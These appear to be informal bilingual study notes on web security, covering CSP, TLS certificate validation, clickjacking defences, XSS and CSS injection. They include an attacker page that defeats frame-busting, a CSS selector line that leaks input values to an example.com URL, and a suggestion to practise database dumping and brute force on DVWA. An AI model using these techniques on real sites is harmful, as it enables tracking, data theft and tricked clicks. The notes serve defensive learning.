Web安全的问题通常是由三大类原因引起的：
- Html自身引入问题
- 引入了有风险的Javascript脚本，这个比较好解决，即开启CSP只允许信任资源加载
- 引用 iframe引发的clickjacking攻击，iframe本身就容易被攻击，能预防的手段不多，最好的方式就是不使用它
- 前后端Injection问题，本质上是由于text拼接的时候没有进行转码，脚本语言如JS/PHP/SQL/Bash 在执行 text 的时候将恶意注入的代码执行了，即 出现了脚本注入的问题。大概分成SQL注入、命令行注入和XSS（Cross Site Script）。解决的方式：转码&CSP
- HTTP传输问题，中间人攻击这个问题比较好解决，主要是传输过程中使用假密协议
深入实践Web Security，可以参考油管（ik2p4Rz4QzM），熟悉HTTP代理工具BurpSuite，搭建肉鸡平台DVWA，尝试脚本（SQL/Bash/XSS）注入，达到拖库、服务器文件、Host信息、Brute Force攻击等目的。CSP(content-security-policy)#
The basic idea behind CSP is to block inline script execution and provide the list of allowed sources of trusted content (scripts, stylesheets, fonts, plugins, etc.) to the browser. Even if an attacker gets to inject their bad script, the browser won't execute it since CSP prevents inline script execution.
阻断内联脚本，只允许信任资源加载
// http res header
Content-Security-Policy: script-src 'self' https://safe-external-site.com; style-src 'self'
// or
<meta http-equiv="Content-Security-Policy" content="script-src 'self' https://safe-external-site.com">
绕过 CSP
Content-Security-Policy: script-src 'self' 'unsafe-inline' https://safe-external-site.com
允许特定 inline script 执行
It tells the browser that these elements were not injected by the hacker (since they couldn't guess the nonce value), but were intentionally inserted by the server, so they're safe to execute.
<script nonce="dGhpcyBpcyBhIG5v==">.. ..</script>
<style nonce="dGhpcyBpcyBhIG5v==">.. ..</style>
Content-Security-Policy: script-src 'nonce-dGhpcyBpcyBhIG5v=='; style-src 'nonce-dGhpcyBpcyBhIG5v=='
浏览器校验证书#
TSL 建立[1]
- 双方协商使用的协议版本，加密算法等细节
- 服务器发送 `Cert证书` 给客户端
- 客户端校验证书有效性
- 双方根据握手的一些参数生成一个对称秘钥，此后所有的内容使用这个秘钥来加密
Cert
Certificate Authority
XXXXXXXXXXXXXXXX
X OS X
X X
X +---------+ X +----+ +-----------+
X | Root CA +-->+ CA +-->+ 'Leaf' CA |
X +---------+ X +----+ +-----------+
X X
X pubkey X pubkey
X Sign
X prikey+---->Cert
X + X Sign
X Sign| X prikey+--->Cert
X v X
X Cert X
XXXXXXXXXXXXXXXX
message Sign
+ ^ Issuer+--->Subject
encrypt\w| |decrypt\w
prikey | |pubkey prikey+--->Cert=Signature+Issuer.pubkey
v +
encryption CertB.hash=Hash(CertA.pubkey+CertB.Signature)
clickjacking-attacks#
Desc#
- 存在诈骗（如有付款按钮）的页面（vulnerable_website）A
- 存在引导的页面（attacker_website）B
- 将 A 嵌入到 B（如 B 中引入 A 的 iframe），且 A 将 B 完全覆盖（如 A 的 z-index 大于 B）
- 客户本意是要点击 B 页面的按钮，但实际上点击了 A 的按钮（如付款按钮）
预防[2][2]" role="complementary" aria-hidden="true">#
Client-side defenses
frame-busting
<html>
<head>
<title>Vulnerable Page</title>
<script>
if (top != window) {
/**
* 注意，这个方法并不能 100% 防御
* 该段代码触发 window.onbeforeunload event, 如果 Attracker Page 重写了该事件：
* window.onbeforeunload = () => false;
* 则页面不会重加载；
*/
top.location = window.location;
}
</script>
</head>
</html>
<html>
<head>
<title>Attracker Page</title>
<script>
window.onbeforeunload = function () {
return false;
};
</script>
</head>
<body>
<iframe id="vulnerable_website" src="http://Vulnerable.Page" sandbox="allow-scripts allow-forms allow-same-origin">
</iframe>
</body>
</html>
总结来看，client-side 通过 block clickjacking attacks 容易被绕过去
使用 X-Frame-Options header
// server.js
app.use(function (req, res, next) {
res.setHeader("X-Frame-Options", "sameorigin");
next();
});
可能遇到浏览器不支持 X-Frame-Options，继续：
Using CSP / Content-Security-Policy
// server.js
app.use(function (req, res, next) {
// same as { X-Frame-Options: "sameorigin" }
res.setHeader("Content-Security-Policy", "frame-ancestors 'self';");
// frame-ancestors 'none' - Not allowed to use frame at all.
// frame-ancestors https://www.authorized-website.com - Only allowed at specific websit.
next();
});
注意：X-Frame-Options 优先级高
Using cookie's sameSite origin
// server.js
app.use(
session({
secret: "my-secret",
resave: true,
saveUninitialized: true,
cookie: {
httpOnly: true, // Cookie 只能通过服务器端修改，Js 是操作不了的
sameSite: "strict", //👈 new code
},
})
);
XSS#
XSS is one of the most common security vulnerabilities. An attacker can try to inject this script anywhere they can submit a form
- 字符转义[4]
- CSP
css hajack#
可用于身份追踪[3]
input[value=a] { backgroud: url(https://example.com/?value=a)}